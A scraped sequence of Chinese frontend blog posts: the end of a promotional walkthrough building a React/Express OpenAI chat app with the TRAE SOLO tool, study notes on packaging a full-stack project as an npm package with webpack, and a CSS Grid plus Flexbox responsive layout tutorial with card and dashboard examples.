        style={{ display: loading || error ? 'none' : 'block' }}
      />
    </div>
  );
};
DiffView 高级应用
  1. 分支对比:比较不同分支的代码差异
  2. 历史版本对比:查看代码的演变过程
  3. 合并预览:在合并代码前查看可能的冲突
  4. 性能对比:分析不同实现方案的性能差异

🚀 实战案例:AI聊天应用全流程开发

让我们通过一个AI聊天应用的开发流程,来体验TRAE SOLO的全链路开发能力。

1. 需求分析与技术选型

需求:开发一个基于Web的AI聊天应用,支持多轮对话、历史记录保存、主题切换等功能。

技术选型

  • 前端:React 18 + TypeScript + Vite
  • 后端:Node.js + Express
  • AI模型:OpenAI API

2. 使用 SOLO coder 快速搭建基础架构

前端核心组件
// 使用 SOLO coder 生成的聊天应用主组件
import React, { useState, useRef, useEffect } from 'react';
import { Message } from '../types';
import ChatInput from './ChatInput';
import MessageList from './MessageList';
import Header from './Header';

const ChatApp: React.FC = () => {
  const [messages, setMessages] = useState<Message[]>([]);
  const [loading, setLoading] = useState(false);
  const messagesEndRef = useRef<HTMLDivElement>(null);

  // 滚动到最新消息
  const scrollToBottom = () => {
    messagesEndRef.current?.scrollIntoView({ behavior: 'smooth' });
  };

  useEffect(() => {
    scrollToBottom();
  }, [messages]);

  // 发送消息
  const sendMessage = async (text: string) => {
    if (!text.trim()) return;

    // 添加用户消息
    const userMessage: Message = {
      id: Date.now().toString(),
      text,
      sender: 'user',
      timestamp: new Date()
    };

    setMessages(prev => [...prev, userMessage]);
    setLoading(true);

    try {
      // 调用AI接口
      const response = await fetch('/api/chat', {
        method: 'POST',
        headers: {
          'Content-Type': 'application/json'
        },
        body: JSON.stringify({ messages: [...messages, userMessage] })
      });

      const data = await response.json();

      // 添加AI回复
      const aiMessage: Message = {
        id: (Date.now() + 1).toString(),
        text: data.response,
        sender: 'ai',
        timestamp: new Date()
      };

      setMessages(prev => [...prev, aiMessage]);
    } catch (error) {
      console.error('聊天错误:', error);
      // 添加错误消息
      const errorMessage: Message = {
        id: (Date.now() + 1).toString(),
        text: '抱歉,暂时无法响应,请稍后重试',
        sender: 'ai',
        timestamp: new Date()
      };
      setMessages(prev => [...prev, errorMessage]);
    } finally {
      setLoading(false);
    }
  };

  return (
    <div className="chat-app">
      <Header />
      <MessageList 
        messages={messages} 
        loading={loading}
      />
      <div ref={messagesEndRef} />
      <ChatInput onSendMessage={sendMessage} disabled={loading} />
    </div>
  );
};

export default ChatApp;
后端服务
// 使用 SOLO coder 生成的后端服务
const express = require('express');
const cors = require('cors');
const { Configuration, OpenAIApi } = require('openai');

const app = express();
app.use(cors());
app.use(express.json());

// 配置 OpenAI API
const configuration = new Configuration({
  apiKey: process.env.OPENAI_API_KEY,
});
const openai = new OpenAIApi(configuration);

// 聊天接口
app.post('/api/chat', async (req, res) => {
  try {
    const { messages } = req.body;

    // 构建 OpenAI API 请求
    const response = await openai.createChatCompletion({
      model: "gpt-3.5-turbo",
      messages: messages.map(msg => ({
        role: msg.sender === 'user' ? 'user' : 'assistant',
        content: msg.text
      })),
      temperature: 0.7,
    });

    res.json({
      response: response.data.choices[0].message?.content || '未收到响应'
    });
  } catch (error) {
    console.error('API错误:', error);
    res.status(500).json({ error: '服务器内部错误' });
  }
});

const PORT = process.env.PORT || 3001;
app.listen(PORT, () => {
  console.log(`服务器运行在 http://localhost:${PORT}`);
});

3. 使用 DiffView 优化代码结构

在开发过程中,我们可能需要优化代码结构,例如将状态管理从组件内部迁移到Context中。使用DiffView可以清晰地看到这些变更:

// 优化前:组件内部状态管理
const ChatApp: React.FC = () => {
  const [messages, setMessages] = useState<Message[]>([]);
  const [loading, setLoading] = useState(false);
  // ...
};

// 优化后:使用 Context 进行状态管理
const ChatContext = createContext<ChatContextType>({
  messages: [],
  loading: false,
  sendMessage: async () => {},
  clearMessages: () => {}
});

const ChatProvider: React.FC<{ children: React.ReactNode }> = ({ children }) => {
  const [messages, setMessages] = useState<Message[]>([]);
  const [loading, setLoading] = useState(false);

  // 发送消息的逻辑
  const sendMessage = async (text: string) => {
    // ... 实现逻辑
  };

  // 清空消息
  const clearMessages = () => {
    setMessages([]);
  };

  const value = {
    messages,
    loading,
    sendMessage,
    clearMessages
  };

  return <ChatContext.Provider value={value}>{children}</ChatContext.Provider>;
};

// 自定义 Hook 方便使用 Context
const useChat = () => {
  const context = useContext(ChatContext);
  if (!context) {
    throw new Error('useChat must be used within a ChatProvider');
  }
  return context;
};

// 优化后的组件
const ChatApp: React.FC = () => {
  return (
    <ChatProvider>
      <div className="chat-app">
        <Header />
        <MessageList />
        <ChatInput />
      </div>
    </ChatProvider>
  );
};

4. 部署与上线

TRAE SOLO提供了一键式部署功能,支持多种部署方式:

  1. Vercel 部署

    # 使用 SOLO coder 生成的 Vercel 部署脚本
    vercel init
    vercel deploy
    
  2. Docker 容器化部署

    # 使用 SOLO coder 生成的 Dockerfile
    FROM node:18-alpine
    
    WORKDIR /app
    
    COPY package*.json ./
    RUN npm install
    
    COPY . .
    
    RUN npm run build
    
    EXPOSE 3000
    
    CMD ["npm", "start"]
    

⚠️ 避坑指南与最佳实践

1. SOLO coder 使用注意事项

  • 避免模糊的提示:提示越具体,生成的代码质量越高
  • 验证生成的代码:虽然代码质量很高,但仍需验证逻辑正确性和安全性
  • 关注性能问题:对于生成的代码,要注意检查是否存在性能瓶颈
  • 保护API密钥:不要将敏感信息直接包含在生成的代码中

2. DiffView 高效使用技巧

  • 设置合适的比较范围:避免比较过大的代码文件
  • 使用过滤功能:只查看关键代码的差异
  • 结合版本控制:与Git等版本控制工具结合使用,效果更佳
  • 定期保存对比结果:对于重要的代码变更,保存对比结果以便后续参考

3. 全链路开发最佳实践

  • 采用模块化设计:将应用拆分为多个独立模块,提高可维护性
  • 使用TypeScript:增强代码的类型安全性
  • 实现自动化测试:确保应用的稳定性
  • 监控与日志:添加监控和日志功能,便于排查问题
  • 性能优化:定期进行性能分析和优化

🎯 与传统开发工具的对比

特性 TRAE SOLO 传统开发工具链
代码生成 ✅ 智能生成高质量代码 ❌ 需要手动编写
差异对比 ✅ 可视化DiffView ⚠️ 依赖第三方工具
部署流程 ✅ 一键式部署 ❌ 手动配置复杂
全链路支持 ✅ 从开发到部署的完整流程 ❌ 工具链割裂
协作效率 ✅ 团队协作功能完善 ⚠️ 协作成本高

📝 总结

TRAE SOLO正式版作为一款全链路AI开发工具,通过SOLO coder、DiffView等核心功能,为AI应用开发带来了全新的范式。它不仅提高了开发效率,还提升了代码质量和协作体验。

通过本文的介绍和实战案例,相信你已经对TRAE SOLO有了深入的了解。无论你是AI开发新手还是资深开发者,TRAE SOLO都能成为你开发路上的得力助手!

让我们一起拥抱AI开发的新时代,用TRAE SOLO创造更多精彩的AI应用吧! 🤗


相关资源:

标签: #AI开发 #TRAE_SOLO #全链路开发 #前端技术 #工具实测

全栈项目实践五:抽离npm包

作者 全_
2025年12月9日 10:05

本文内容学习自 哲玄前端 《大前端全栈实践》课程

当需要本地调试待发布的 npm 包时 在包的目录下(elpis)执行命令

npm link

在使用包的目录下(elpis-demo)执行命

npm link "name"
  • 这个 name 就是 elpis/package.json 中的name

关于静态资源目录

运行的时候一直会有 /view/project-list 的请求

  • elpis/app/view/entry.tpl 中使用了静态资源 /static/xxx
  • koaStatic 和 KoaNunjucks 配置的静态资源目录是 process.cwd()/app/public
    • 资源请求的是运行目录下的 elpis-demo/app/public
  • 实际资源还在 elpis/app/public/static/logo.png,但是 elpis-demo 中没有静态资源导致一直请求不到
  • 请求进入 elpis-core/loader/router.js 兜底策略一直请求 app.options.homePage

解决办法:将静态资源移动到 elpis-demo/public 中

devServer 和 element-plus 的按需加载

不能用element-plus的按需引入,不然 npm run build:dev 就一直卡在 webpack 的编译部分,npm run build:prod 就正常运行。

  • 虽然 devServer 正常启动了
  • 但是 webpack 的编译器根本没有启动,没有将源代码编译为 Bundle。
    • 第一步还得自己先手动编译一下(compiler.run),不然一直没编译,没有.tpl的输出。 启动静态服务器,但是没有HMR的效果,加watch只能监听变化,手动刷新才看得到。

image.png

自定义SSR页面的扩展

在 webpack.base.js 中修改 entry 和 HtmlWebpackPlugin 来获取全部的入口。

webpack里面的loader会在调用方里面的根目录开始找(即在 elpis-demo 的 node_modules)

  • 如果用自己 node_modules 的目录,改为 require.resolve()

    • 如果找不到包 用require.resolve()
  • 当这个 webpack 配置作为 npm 包被其他项目引用时,loader 的解析路径会基于 elpis 包本身,而不是调用方的 node_modules。

elpis-demo/app/pages 目录下写入口文件 entry.xxx.js 和对应组件

自定义 view 页面 dashboard/cutom-view

  1. elpis-demo/app/pages/dashboard/xxx 写页面组件
  2. elpis-demo/app/pages/dashboard/router.js 中进行配置
module.exports = ({routes, siderRoutes}) => {}

当用户没配置 dashboard/router.js

  • try-catch无法解决
    • webpack是静态构建,并不是运行时构建,所以会直接报错
try{
  businessDashboardRouterConfig = require('$businessDashboardRouterConfig')
}catch (e) {}
  • import的方式无法解决 依旧报错
(async () => {
  businessDashboardRouterConfig = await import('$businessDashboardRouterConfig')
})()

解决方案

  1. 创建空文件让 webpack 别名指向它作为 fallback

    1.       alias: (() => {
              const aliasMap = {}
              const blankModulePath = path.resolve(__dirname, '../libs/blankModule.js')
      
              const businessDashboardRouterConfigPath = path.resolve(process.cwd(), 'app/pages/dashboard/router.js')
              aliasMap['$businessDashboardRouterConfig'] = fs.existsSync(businessDashboardRouterConfigPath)
                ? businessDashboardRouterConfigPath
                : blankModulePath
      
              return {
                ...aliasMap,
              }
            })(),
      
    2. 简单、但是需要额外维护文件
  2. 编译时常量 + if 判断

    1.       new webpack.DefinePlugin({
              __HAS_BUSINESS_DASHBOARD_ROUTER__: fs.existsSync() // true/false
            }),
      
          if(__HAS_BUSINESS_DASHBOARD_ROUTER__) {...}
      

      不会往 window 上挂变量;不会在运行时代码里真的出现 __HAS_...__ 这个名字。

      webpack 在构建时会做常量折叠:如果这个宏是 false,整块 if 分支会被摇掉

    2. 无额外文件,但是定义全局变量进行编译期宏替换

  3. 反向依赖——由业务入口调用基础库

动态组件扩展 dashboard/schema-view/components

  1. app/pages/dashboard/complex-view/schema-view/components/ 下写组件
  • components的统一写法
<script setup>
import { ref } from 'vue'

const name = ref('createForm')

const isShow = ref(false)

const show = () => {
  isShow.value = true
}

const close = () => {
  isShow.value = false
}

defineExpose({
  name,
  show,
})
</script>

<template></template>

<style scoped lang="less"></style>
  1. 配置app/pages/dashboard/complex-view/schema-view/components/component-config.js

schema-form 控件扩展

  1. app/pages/widgets/schema-form/complex-view/下写组件
<script setup>

const validate = () => {}

const getValue = () => {}

defineExpose({
  name,
  validate,
  getValue,
})
</script>

<template></template>

<style scoped lang="less"></style>

2. 配置app/pages/widgets/schema-form/form-item-config.js

schema-search-bar 控件的扩展

  1. app/pages/widgets/schema-search-bar/complex-view/下写组件
<script setup>

const reset = () => {}

const getValue = () => {}

defineExpose({
  reset,
  getValue,
})
</script>

<template></template>

<style scoped lang="less"></style>

2. 配置app/pages/widgets/schema-search-bar/search-item-config.js

发布

npm config get registry
-> https://registry.npmjs.org/
如果不是, npm config set registry
npm login

npm whoami

npm publish --access public

CSS Grid + Flexbox响应式复杂布局实现

作者 dorisrv
2025年12月9日 09:50

CSS Grid + Flexbox响应式复杂布局实现

🤔 为什么需要结合CSS Grid和Flexbox?

在前端布局中,CSS Grid和Flexbox是两种强大的布局工具,但它们各自擅长不同的场景:

  • Flexbox:一维布局(行或列),适合处理元素的对齐、分布和弹性伸缩
  • CSS Grid:二维布局(行和列同时),适合创建复杂的网格结构和精确的元素定位

结合使用这两种布局技术,我们可以:

  • 快速构建复杂的响应式界面
  • 灵活处理不同尺寸和形状的元素
  • 减少布局嵌套层级,提高代码可维护性
  • 实现传统布局技术难以完成的复杂设计

💡 基础概念回顾

1. CSS Grid基础

CSS Grid是一种二维布局系统,允许我们同时控制行和列:

.container {
  display: grid;
  grid-template-columns: 1fr 2fr 1fr; /* 定义3列,比例为1:2:1 */
  grid-template-rows: auto 1fr auto; /* 定义3行,第一行和第三行自适应内容高度,第二行占据剩余空间 */
  gap: 20px; /* 网格线之间的间距 */
  grid-template-areas: /* 定义网格区域 */
    "header header header"
    "sidebar main aside"
    "footer footer footer";
}

.item1 { grid-area: header; }
.item2 { grid-area: sidebar; }
.item3 { grid-area: main; }
.item4 { grid-area: aside; }
.item5 { grid-area: footer; }

2. Flexbox基础

Flexbox是一种一维布局系统,适合处理元素的对齐和分布:

.container {
  display: flex;
  flex-direction: row; /* 主轴方向:row(行)或 column(列) */
  justify-content: space-between; /* 主轴对齐方式:flex-start, flex-end, center, space-between, space-around, space-evenly */
  align-items: center; /* 交叉轴对齐方式:stretch, flex-start, flex-end, center, baseline */
  flex-wrap: wrap; /* 是否换行:nowrap(不换行), wrap(换行), wrap-reverse(反向换行) */
  gap: 10px; /* 元素之间的间距 */
}

.item {
  flex: 1 0 200px; /* 简写:flex-grow flex-shrink flex-basis */
  /* flex-grow: 1; 元素的放大比例 */
  /* flex-shrink: 0; 元素的缩小比例 */
  /* flex-basis: 200px; 元素的初始宽度 */
}

🚀 基础实现:卡片布局

让我们先通过一个简单的卡片布局,了解如何结合使用CSS Grid和Flexbox。

1. 需求分析

我们需要实现一个响应式卡片布局,包含以下特点:

  • 桌面端:3列网格布局
  • 平板端:2列网格布局
  • 移动端:1列布局
  • 卡片内部使用Flexbox实现内容的垂直对齐和分布

2. 实现代码

<!DOCTYPE html>
<html lang="zh-CN">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>CSS Grid + Flexbox 卡片布局</title>
  <style>
    /* 全局样式 */
    * {
      margin: 0;
      padding: 0;
      box-sizing: border-box;
    }
    
    body {
      font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
      background-color: #f5f7fa;
      color: #333;
      line-height: 1.6;
    }
    
    .container {
      max-width: 1200px;
      margin: 0 auto;
      padding: 20px;
    }
    
    h1 {
      text-align: center;
      margin-bottom: 30px;
      color: #2c3e50;
    }
    
    /* 卡片网格布局 */
    .card-grid {
      display: grid;
      grid-template-columns: repeat(auto-fit, minmax(320px, 1fr));
      gap: 25px;
    }
    
    /* 卡片样式 */
    .card {
      background-color: #fff;
      border-radius: 8px;
      box-shadow: 0 4px 12px rgba(0, 0, 0, 0.08);
      overflow: hidden;
      transition: transform 0.3s ease, box-shadow 0.3s ease;
      display: flex;
      flex-direction: column;
    }
    
    .card:hover {
      transform: translateY(-5px);
      box-shadow: 0 8px 24px rgba(0, 0, 0, 0.12);
    }
    
    /* 卡片图片 */
    .card-img {
      width: 100%;
      height: 200px;
      object-fit: cover;
    }
    
    /* 卡片内容 */
    .card-content {
      padding: 20px;
      flex: 1;
      display: flex;
      flex-direction: column;
    }
    
    .card-title {
      font-size: 1.5rem;
      margin-bottom: 10px;
      color: #2c3e50;
    }
    
    .card-description {
      font-size: 1rem;
      color: #7f8c8d;
      margin-bottom: 15px;
      flex: 1;
    }
    
    /* 卡片标签 */
    .card-tags {
      display: flex;
      flex-wrap: wrap;
      gap: 8px;
      margin-bottom: 15px;
    }
    
    .tag {
      background-color: #e3f2fd;
      color: #1976d2;
      padding: 4px 12px;
      border-radius: 12px;
      font-size: 0.8rem;
      font-weight: 500;
    }
    
    /* 卡片按钮 */
    .card-btn {
      display: inline-block;
      padding: 10px 20px;
      background-color: #3498db;
      color: #fff;
      text-decoration: none;
      border-radius: 4px;
      font-weight: 500;
      transition: background-color 0.3s ease;
      text-align: center;
    }
    
    .card-btn:hover {
      background-color: #2980b9;
    }
    
    /* 响应式设计 */
    @media (max-width: 768px) {
      .card-grid {
        grid-template-columns: repeat(auto-fit, minmax(280px, 1fr));
        gap: 20px;
      }
      
      .card-title {
        font-size: 1.3rem;
      }
    }
    
    @media (max-width: 480px) {
      .container {
        padding: 10px;
      }
      
      .card-grid {
        grid-template-columns: 1fr;
        gap: 15px;
      }
      
      .card-content {
        padding: 15px;
      }
    }
  </style>
</head>
<body>
  <div class="container">
    <h1>CSS Grid + Flexbox 卡片布局</h1>
    
    <div class="card-grid">
      <div class="card">
        <img src="https://picsum.photos/seed/card1/600/400" alt="卡片图片" class="card-img">
        <div class="card-content">
          <h3 class="card-title">React Hooks 实战</h3>
          <p class="card-description">深入学习 React Hooks 的使用技巧和最佳实践,掌握现代 React 开发的核心能力。</p>
          <div class="card-tags">
            <span class="tag">React</span>
            <span class="tag">Hooks</span>
            <span class="tag">前端开发</span>
          </div>
          <a href="#" class="card-btn">查看详情</a>
        </div>
      </div>
      
      <div class="card">
        <img src="https://picsum.photos/seed/card2/600/400" alt="卡片图片" class="card-img">
        <div class="card-content">
          <h3 class="card-title">TypeScript 进阶</h3>
          <p class="card-description">从基础到高级,全面掌握 TypeScript 的类型系统和高级特性,提升代码质量和开发效率。</p>
          <div class="card-tags">
            <span class="tag">TypeScript</span>
            <span class="tag">JavaScript</span>
            <span class="tag">类型系统</span>
          </div>
          <a href="#" class="card-btn">查看详情</a>
        </div>
      </div>
      
      <div class="card">
        <img src="https://picsum.photos/seed/card3/600/400" alt="卡片图片" class="card-img">
        <div class="card-content">
          <h3 class="card-title">前端工程化</h3>
          <p class="card-description">学习前端工程化的最佳实践,包括构建工具、模块化开发、自动化测试等内容。</p>
          <div class="card-tags">
            <span class="tag">Webpack</span>
            <span class="tag">工程化</span>
            <span class="tag">自动化</span>
          </div>
          <a href="#" class="card-btn">查看详情</a>
        </div>
      </div>
      
      <div class="card">
        <img src="https://picsum.photos/seed/card4/600/400" alt="卡片图片" class="card-img">
        <div class="card-content">
          <h3 class="card-title">响应式设计</h3>
          <p class="card-description">掌握现代响应式设计的技术和方法,创建适配各种设备的优秀用户界面。</p>
          <div class="card-tags">
            <span class="tag">CSS</span>
            <span class="tag">响应式</span>
            <span class="tag">布局</span>
          </div>
          <a href="#" class="card-btn">查看详情</a>
        </div>
      </div>
      
      <div class="card">
        <img src="https://picsum.photos/seed/card5/600/400" alt="卡片图片" class="card-img">
        <div class="card-content">
          <h3 class="card-title">Vue.js 3 新特性</h3>
          <p class="card-description">探索 Vue.js 3 的新特性,包括 Composition API、Teleport、Suspense 等高级功能。</p>
          <div class="card-tags">
            <span class="tag">Vue.js</span>
            <span class="tag">Composition API</span>
            <span class="tag">前端框架</span>
          </div>
          <a href="#" class="card-btn">查看详情</a>
        </div>
      </div>
      
      <div class="card">
        <img src="https://picsum.photos/seed/card6/600/400" alt="卡片图片" class="card-img">
        <div class="card-content">
          <h3 class="card-title">性能优化</h3>
          <p class="card-description">学习前端性能优化的策略和技巧,提升网站加载速度和用户体验。</p>
          <div class="card-tags">
            <span class="tag">性能优化</span>
            <span class="tag">Web Vitals</span>
            <span class="tag">用户体验</span>
          </div>
          <a href="#" class="card-btn">查看详情</a>
        </div>
      </div>
    </div>
  </div>
</body>
</html>

在这个例子中,我们使用了:

  • CSS Grid 实现卡片的二维网格布局(card-grid 类)
  • Flexbox 实现卡片内部的垂直布局和内容分布(cardcard-content 类)
  • 响应式设计 确保在不同设备上都有良好的显示效果

🎯 进阶实现:复杂仪表板布局

现在让我们实现一个更复杂的仪表板布局,展示如何结合CSS Grid和Flexbox处理更复杂的设计需求。

1. 需求分析

我们需要实现一个响应式仪表板,包含以下组件:

  • 顶部导航栏
  • 侧边菜单栏
  • 主要内容区域,包含:
    • 数据概览卡片(4个)
    • 主要图表(1个大图表)
    • 辅助数据卡片(2个)
    • 数据表格
  • 右侧信息栏

2. 实现代码

<!DOCTYPE html>
<html lang="zh-CN">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>CSS Grid + Flexbox 复杂仪表板布局</title>
  <style>
    /* 全局样式 */
    * {
      margin: 0;
      padding: 0;
      box-sizing: border-box;
    }
    
    body {
      font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
      background-color: #f0f2f5;
      color: #333;
      line-height: 1.6;
    }
    
    /* 整体布局 */
    .dashboard {
      display: grid;
      grid-template-columns: 250px 1fr 300px;
      grid-template-rows: 60px 1fr;
      grid-template-areas: 
        "sidebar header rightbar"
        "sidebar main rightbar";
      height: 100vh;
      overflow: hidden;
    }
    
    /* 顶部导航栏 */
    .header {
      grid-area: header;
      background-color: #fff;
      box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
      display: flex;
      align-items: center;
      justify-content: space-between;
      padding: 0 20px;
    }
    
    .header-left {
      display: flex;
      align-items: center;
      gap: 15px;
    }
    
    .header-right {
      display: flex;
      align-items: center;
      gap: 15px;
    }
    
    /* 侧边菜单栏 */
    .sidebar {
      grid-area: sidebar;
      background-color: #2c3e50;
      color: #fff;
      padding: 20px 0;
      overflow-y: auto;
    }
    
    .logo {
      padding: 0 20px 20px;
      font-size: 1.5rem;
      font-weight: bold;
      border-bottom: 1px solid rgba(255, 255, 255, 0.1);
      margin-bottom: 20px;
    }
    
    .menu {
      list-style: none;
    }
    
    .menu-item {
      margin-bottom: 5px;
    }
    
    .menu-item a {
      display: block;
      padding: 12px 20px;
      color: rgba(255, 255, 255, 0.8);
      text-decoration: none;
      transition: background-color 0.3s ease, color 0.3s ease;
      display: flex;
      align-items: center;
      gap: 10px;
    }
    
    .menu-item a:hover, .menu-item.active a {
      background-color: #3498db;
      color: #fff;
    }
    
    /* 主要内容区域 */
    .main {
      grid-area: main;
      padding: 20px;
      overflow-y: auto;
    }
    
    /* 数据概览卡片 */
    .overview-cards {
      display: grid;
      grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
      gap: 20px;
      margin-bottom: 25px;
    }
    
    .overview-card {
      background-color: #fff;
      padding: 20px;
      border-radius: 8px;
      box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
      display: flex;
      align-items: center;
      gap: 15px;
      transition: transform 0.3s ease, box-shadow 0.3s ease;
    }
    
    .overview-card:hover {
      transform: translateY(-2px);
      box-shadow: 0 4px 12px rgba(0, 0, 0, 0.15);
    }
    
    .card-icon {
      width: 50px;
      height: 50px;
      border-radius: 50%;
      display: flex;
      align-items: center;
      justify-content: center;
      font-size: 1.5rem;
    }
    
    .card-icon.primary { background-color: #e3f2fd; color: #1976d2; }
    .card-icon.success { background-color: #e8f5e9; color: #43a047; }
    .card-icon.warning { background-color: #fff3e0; color: #f57c00; }
    .card-icon.danger { background-color: #ffebee; color: #d32f2f; }
    
    .card-info h3 {
      font-size: 1.5rem;
      margin-bottom: 5px;
    }
    
    .card-info p {
      font-size: 0.9rem;
      color: #7f8c8d;
    }
    
    /* 主要图表 */
    .main-chart {
      background-color: #fff;
      padding: 20px;
      border-radius: 8px;
      box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
      margin-bottom: 25px;
    }
    
    /* 辅助数据卡片 */
    .secondary-cards {
      display: grid;
      grid-template-columns: repeat(auto-fit, minmax(300px, 1fr));
      gap: 20px;
      margin-bottom: 25px;
    }
    
    .secondary-card {
      background-color: #fff;
      padding: 20px;
      border-radius: 8px;
      box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
    }
    
    /* 数据表格 */
    .data-table {
      background-color: #fff;
      padding: 20px;
      border-radius: 8px;
      box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
      overflow-x: auto;
    }
    
    table {
      width: 100%;
      border-collapse: collapse;
    }
    
    th, td {
      padding: 12px;
      text-align: left;
      border-bottom: 1px solid #e0e0e0;
    }
    
    th {
      background-color: #f5f5f5;
      font-weight: 600;
    }
    
    tr:hover {
      background-color: #fafafa;
    }
    
    /* 右侧信息栏 */
    .rightbar {
      grid-area: rightbar;
      background-color: #fff;
      box-shadow: -2px 0 4px rgba(0, 0, 0, 0.1);
      padding: 20px;
      overflow-y: auto;
    }
    
    .widget {
      margin-bottom: 25px;
    }
    
    .widget-title {
      font-size: 1.2rem;
      margin-bottom: 15px;
      padding-bottom: 10px;
      border-bottom: 1px solid #e0e0e0;
    }
    
    /* 响应式设计 */
    @media (max-width: 1200px) {
      .dashboard {
        grid-template-columns: 220px 1fr 250px;
      }
    }
    
    @media (max-width: 992px) {
      .dashboard {
        grid-template-columns: 1fr;
        grid-template-rows: 60px auto 1fr;
        grid-template-areas: 
          "header"
          "main"
          "rightbar";
      }
      
      .sidebar {
        display: none;
      }
      
      .rightbar {
        box-shadow: 0 -2px 4px rgba(0, 0, 0, 0.1);
        max-height: 300px;
      }
    }
    
    @media (max-width: 768px) {
      .overview-cards {
        grid-template-columns: repeat(2, 1fr);
      }
      
      .secondary-cards {
        grid-template-columns: 1fr;
      }
      
      .header-right {
        display: none;
      }
    }
    
    @media (max-width: 480px) {
      .overview-cards {
        grid-template-columns: 1fr;
      }
      
      .main {
        padding: 10px;
      }
      
      .rightbar {
        padding: 10px;
      }
    }
    
    /* 模拟数据 */
    .chart-placeholder {
      height: 300px;
      background-color: #f5f5f5;
      border-radius: 4px;
      display: flex;
      align-items: center;
      justify-content: center;
      color: #7f8c8d;
    }
    
    .card-placeholder {
      height: 150px;
      background-color: #f5f5f5;
      border-radius: 4px;
      display: flex;
      align-items: center;
      justify-content: center;
      color: #7f8c8d;
    }
  </style>
</head>
<body>
  <div class="dashboard">
    <!-- 顶部导航栏 -->
    <header class="header">
      <div class="header-left">
        <button class="menu-toggle"></button>
        <h1>Dashboard</h1>
      </div>
      <div class="header-right">
        <span>通知</span>
        <span>用户</span>
      </div>
    </header>
    
    <!-- 侧边菜单栏 -->
    <aside class="sidebar">
      <div class="logo">Logo</div>
      <ul class="menu">
        <li class="menu-item active"><a href="#">🏠 仪表盘</a></li>
        <li class="menu-item"><a href="#">📊 数据统计</a></li>
        <li class="menu-item"><a href="#">📈 数据分析</a></li>
        <li class="menu-item"><a href="#">👥 用户管理</a></li>
        <li class="menu-item"><a href="#">⚙️ 系统设置</a></li>
        <li class="menu-item"><a href="#">📝 日志记录</a></li>
      </ul>
    </aside>
    
    <!-- 主要内容区域 -->
    <main class="main">
      <!-- 数据概览卡片 -->
      <div class="overview-cards">
        <div class="overview-card">
          <div class="card-icon primary">📊</div>
          <div class="card-info">
            <h3>12,345</h3>
            <p>总访问量</p>
          </div>
        </div>
        <div class="overview-card">
          <div class="card-icon success">💰</div>
          <div class="card-info">
            <h3>¥45,678</h3>
            <p>总收入</p>
          </div>
        </div>
        <div class="overview-card">
          <div class="card-icon warning">👥</div>
          <div class="card-info">
            <h3>789</h3>
            <p>活跃用户</p>
          </div>
        </div>
        <div class="overview-card">
          <div class="card-icon danger">📱</div>
          <div class="card-info">
            <h3>45.6%</h3>
            <p>移动端占比</p>
          </div>
        </div>
      </div>
      
      <!-- 主要图表 -->
      <div class="main-chart">
        <h2>主要指标趋势</h2>
        <div class="chart-placeholder">
          图表区域(可替换为实际图表库:Chart.js、ECharts等)
        </div>
      </div>
      
      <!-- 辅助数据卡片 -->
      <div class="secondary-cards">
        <div class="secondary-card">
          <h3>用户增长趋势</h3>
          <div class="card-placeholder">用户增长图表</div>
        </div>
        <div class="secondary-card">
          <h3>销售数据统计</h3>
          <div class="card-placeholder">销售数据图表</div>
        </div>
      </div>
      
      <!-- 数据表格 -->
      <div class="data-table">
        <h2>最新订单</h2>
        <table>
          <thead>
            <tr>
              <th>订单号</th>
              <th>用户</th>
              <th>金额</th>
              <th>状态</th>
              <th>日期</th>
            </tr>
          </thead>
          <tbody>
            <tr>
              <td>#12345</td>
              <td>张三</td>
              <td>¥1,234</td>
              <td>已完成</td>
              <td>2024-01-15</td>
            </tr>
            <tr>
              <td>#12344</td>
              <td>李四</td>
              <td>¥567</td>
              <td>处理中</td>
              <td>2024-01-15</td>
            </tr>
            <tr>
              <td>#12343</td>
              <td>王五</td>
              <td>¥890</td>
              <td>已完成</td>
              <td>2024-01-14</td>
            </tr>
            <tr>
              <td>#12342</td>
              <td>赵六</td>
              <td>¥2,345</td>
              <td>已取消</td>
              <td>2024-01-14</td>
            </tr>
            <tr>
              <td>#12341</td>
              <td>孙七</td>
              <td>¥678</td>
              <td>已完成</td>
              <td>2024-01-13</td>
            </tr>
          </tbody>
        </table>
      </div>
    </main>
    
    <!-- 右侧信息栏 -->
    <aside class="rightbar">
      <div class="widget">
        <h3 class="widget-title">最近活动</h3>
        <div class="widget-content">
          <p>• 用户张三登录系统</p>
          <p>• 订单 #12345 已完成</p>
          <p>• 新用户注册:李四</p>
          <p>• 系统更新成功</p>
        </div>
      </div>
      <div class="widget">
        <h3 class="widget-title">快速链接</h3>
        <div class="widget-content">
          <a href="#">创建新订单</a><br>
          <a href="#">用户管理</a><br>
          <a href="#">数据分析</a><br>
          <a href="#">系统设置</a>
        </div>
      </div>
      <div class="widget">
        <h3 class="widget-title">系统状态</h3>
        <div class="widget-content">
          <p>服务器状态:正常</p>
          <p>数据库连接:正常</p>
          <p>在线用户:123</p>
          <p>系统负载:23%</p>
        </div>
      </div>
    </aside>
  </div>
</body>
</html>

在这个复杂仪表板示例中,我们:

  • 使用 CSS Grid 实现了整体的页面布局结构(三栏布局:侧边栏、主内容、右侧信息栏)
  • 使用 Flexbox 实现了组件内部的对齐和分布(导航栏、概览卡片、菜单等)
  • 结合了两种布局技术的优势,创建了复杂而灵活的响应式界面
  • 使用媒体查询实现了不同屏幕尺寸下的布局适配

⚠️ 注意事项和最佳实践

1. 选择合适的布局技术

  • 一维布局(行或列):优先使用 Flexbox
  • 二维布局(需要同时控制行和列):优先使用 CSS Grid
  • 复杂嵌套布局:结合使用 Grid 和 Flexbox

2. 避免过度使用

  • 不要在所有情况下都同时使用 Grid 和 Flexbox
  • 根据实际需求选择最合适的布局技术
  • 保持布局的简洁性和可维护性

3. 性能优化

  • 避免过深的布局嵌套
  • 减少 CSS 选择器的复杂性
  • 使用 auto-fitauto-fill 等关键字实现灵活的网格布局
  • 避免不必要的重排和重绘

4. 响应式设计

  • 使用媒体查询适配不同屏幕尺寸
